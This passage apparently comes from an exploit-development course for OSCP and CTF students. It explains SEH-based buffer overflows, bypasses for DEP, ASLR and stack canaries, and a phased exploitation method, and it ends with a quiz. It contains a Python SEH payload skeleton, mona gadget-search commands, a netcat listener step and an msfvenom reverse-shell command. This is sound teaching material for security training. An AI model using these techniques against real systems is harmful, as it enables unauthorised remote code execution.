SEH (Structured Exception Handling) is how Windows programs handle errors and crashes internally โ€” think of it as a series of "if something goes wrong, do this" safety nets built into the program. Each safety net is called an exception handler, and they're stored as a linked list (a chain where each item points to the next) on the stack. SEH-based buffer overflows target this exception handler chain rather than the return address. This is a more advanced technique, so don't worry if it takes a few reads to click.

How the attack works at a high level: Instead of overwriting the return address (EIP) like in a vanilla stack overflow, you overflow far enough to overwrite the SEH handler chain. Then you trigger an error โ€” which the overwritten handler chain processes โ€” redirecting execution to your shellcode. It's an indirect path to code execution that bypasses some protections that defend the return address.

# SEH chain on the stack:
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚   Next SEH Record (nSEH) โ”‚  โ† Pointer to next handler in the chain
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚   SEH Handler            โ”‚  โ† Pointer to exception handler function
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚   Local Variables/Buffer โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

# SEH overflow strategy:
# 1. Overflow buffer โ†’ overwrite nSEH and SEH handler
# 2. Trigger an exception (the overflow itself often does this)
# 3. Windows walks the SEH chain โ†’ calls our overwritten handler
# 4. Handler = POP POP RET gadget โ†’ returns to nSEH
# 5. nSEH = short JMP (\xeb\x06\x90\x90) โ†’ jumps over SEH to shellcode

# Finding POP POP RET gadgets:
!mona seh -cpb "\x00\x0a\x0d"

# SEH exploit buffer structure:
# [padding to nSEH] [JMP short +6 (nSEH)] [POP POP RET (SEH)] [NOP + shellcode]

# In code:
buffer = b"A" * seh_offset         # Padding
buffer += b"\xeb\x06\x90\x90"     # nSEH: JMP short +6
buffer += struct.pack("<I", pop_pop_ret)  # SEH: POP POP RET gadget
buffer += b"\x90" * 16             # NOP sled
buffer += shellcode                # Payload
๐Ÿ’ก Pro Tip: SEH overflows are tested on the OSCP and appear in real-world exploits. The key differences from vanilla stack overflows: you target nSEH/SEH instead of EIP, you need a POP POP RET gadget instead of JMP ESP, and you need a short JMP in nSEH to hop over the SEH address into your shellcode.

๐Ÿ›ก๏ธ DEP, ASLR & Modern Mitigations

Modern operating systems implement protections that make buffer overflow exploitation significantly harder. You'll encounter these in real-world scenarios and CTFs. Understanding them is important for both exploitation and defense.

DEP (Data Execution Prevention)

DEP marks memory regions as either writable OR executable, never both. The stack is writable but NOT executable โ€” our shellcode can't run directly.

Bypass technique: Return-Oriented Programming (ROP) โ€” chain together small instruction sequences ("gadgets") from executable memory, each ending with RET:

# Example ROP chain to call VirtualProtect (make stack executable):
# Gadget 1: POP EAX; RET          โ†’ Load VirtualProtect address
# Gadget 2: MOV [ECX], EAX; RET   โ†’ Write to memory
# Gadget 3: PUSH ESP; RET         โ†’ Push stack address
# ... โ†’ VirtualProtect called โ†’ stack becomes executable โ†’ shellcode runs

# mona.py can auto-generate ROP chains:
!mona rop -cpb "\x00\x0a\x0d"

ASLR (Address Space Layout Randomization)

ASLR randomizes where modules, stack, and heap are loaded in memory. Our JMP ESP address changes every reboot โ†’ exploit breaks.

Bypass techniques:

  1. Find a non-ASLR module โ€” many third-party DLLs don't use ASLR. Use !mona modules โ†’ look for Rebase: False, ASLR: False
  2. Partial overwrite โ€” on some systems, only higher bytes randomize. Overwrite just the lower 2 bytes
  3. Information leak โ€” read a pointer from the process โ†’ calculate the base address
  4. Brute force โ€” on 32-bit, only ~256 possible base addresses. Spray the heap and try repeatedly
  5. Egg hunting โ€” place shellcode somewhere with a unique tag, use a small egg hunter to find and jump to it

Stack Canaries (Stack Cookies)

A random value placed between the buffer and return address. Before returning, the function checks if the canary was modified. If it was โ†’ overflow detected โ†’ program aborts.

Stack layout WITH canary:
[buffer] [CANARY] [saved EBP] [return address]
         โ†‘ Overflowing corrupts this โ†’ caught!

Bypass techniques:

  1. Information leak โ†’ read the canary value, include it in overflow
  2. Overwrite only variables BEFORE the canary (limited impact)
  3. Format string vulnerability โ†’ read canary from stack
  4. Brute force (fork-based servers only) โ€” one byte at a time

Other Mitigations

  • RELRO (Relocation Read-Only) โ€” makes GOT read-only, prevents GOT overwrite attacks
  • PIE (Position Independent Executable) โ€” ASLR for the main binary itself
  • CFI (Control Flow Integrity) โ€” validates indirect calls/jumps against intended program graph
  • Shadow Stack โ€” hardware-assisted (Intel CET) return address protection
  • Safe Unlinking โ€” heap protections against unlink exploits

๐ŸŽฏ Real-World Methodology

Here's the systematic approach for buffer overflow exploitation in CTFs and OSCP-style exams:

Phase 1: Reconnaissance

  1. Identify the vulnerable application and protocol
  2. Set up an identical test environment (same OS, same app version)
  3. Attach debugger (Immunity for Windows, GDB for Linux)
  4. Configure mona: !mona config -set workingfolder c:\mona\%p

Phase 2: Crash Analysis

  1. Fuzz to find approximate crash point
  2. Send unique pattern to find exact EIP offset
  3. Verify EIP control with "BBBB" (0x42424242)
  4. Note ESP location โ€” does it point after EIP? How much space?

Phase 3: Exploit Development

  1. Identify bad characters (use mona compare)
  2. Find JMP ESP in a suitable module (no ASLR, no DEP)
  3. Generate shellcode (exclude bad chars, use EXITFUNC=thread)
  4. Build exploit: padding + JMP ESP + NOP sled + shellcode
  5. Test against your lab setup first!

Phase 4: Exploitation

nc -lvnp 4444          # 1. Start listener
python3 exploit.py     # 2. Run exploit against target
                       # 3. Catch the shell!
# If it fails: check bad chars, verify JMP ESP address, add more NOPs

โš ๏ธ Common Mistakes

โŒ Mistake #1: Wrong offset.
If EIP isn't exactly 0x42424242 after your control test, your offset is wrong. Use !mona findmsp instead of calculating manually. Off-by-one errors will make everything downstream fail.
โŒ Mistake #2: Incomplete bad character analysis.
Removing one bad char can reveal another that was hidden behind it. After removing each bad char, regenerate the bytearray with !mona bytearray -b "\x00\x0a...", resend, and compare again. Repeat until mona says "Unmodified."
โŒ Mistake #3: JMP ESP address contains bad characters.
If your JMP ESP address is 0x6250110a and \x0a is a bad char, the address gets corrupted. Find a different JMP ESP address that doesn't contain any bad character bytes.
โŒ Mistake #4: Forgetting endianness.
x86 is little-endian. The address 0x625011af is stored as \xaf\x11\x50\x62 in memory. Use struct.pack("<I", 0x625011af) in Python -- it handles byte ordering automatically.
โŒ Mistake #5: Not enough NOP sled.
The encoded shellcode's decoder stub modifies memory around itself during decoding. Without a NOP sled, the decoder can corrupt adjacent data. Use at least 16 bytes (\x90 * 16) before your shellcode.
โŒ Mistake #6: Not enough buffer space for shellcode.
Encoded shellcode is typically 350-400 bytes. If ESP only has 200 bytes of controllable space after EIP, your shellcode won't fit. Solutions: use a shorter payload, jump backward into the A-padding, or use an egg hunter.
โŒ Mistake #7: Not restarting the application between attempts.
After a crash, the application's state is corrupted. Always restart the service and reattach the debugger before each test. Failing to do so gives unreliable results.

๐Ÿ“š Further Reading

๐Ÿ“

Final Assessment: Buffer Overflow Exploitation

0 / 3
Put the buffer overflow exploit development steps in the correct order: (A) Find JMP ESP address, (B) Generate shellcode with msfvenom, (C) Fuzz to find crash point, (D) Find bad characters, (E) Find exact EIP offset with unique pattern, (F) Verify EIP control with 0x42424242
The correct order is: (C) Fuzz โ†’ (E) Find offset โ†’ (F) Verify EIP control โ†’ (D) Find bad chars โ†’ (A) Find JMP ESP โ†’ (B) Generate shellcode. Each step builds on the previous. You can't find bad chars without controlling EIP, and you can't generate proper shellcode without knowing which characters to exclude.
The address 0x625011af on a little-endian x86 system is stored in memory as which byte sequence?
x86 uses little-endian byte ordering, which stores the least significant byte first. So 0x625011af becomes \xaf\x11\x50\x62 in memory. Python's struct.pack("<I", 0x625011af) handles this automatically โ€” always use it to avoid manual byte-ordering errors.
What msfvenom flag is used to specify bad characters that must be excluded from the generated shellcode?
The -b flag in msfvenom specifies bad characters to avoid. For example: msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -b "\x00\x0a\x0d" -f python. This triggers an encoder (usually shikata_ga_nai) that produces shellcode avoiding those bytes, at the cost of slightly larger payload size.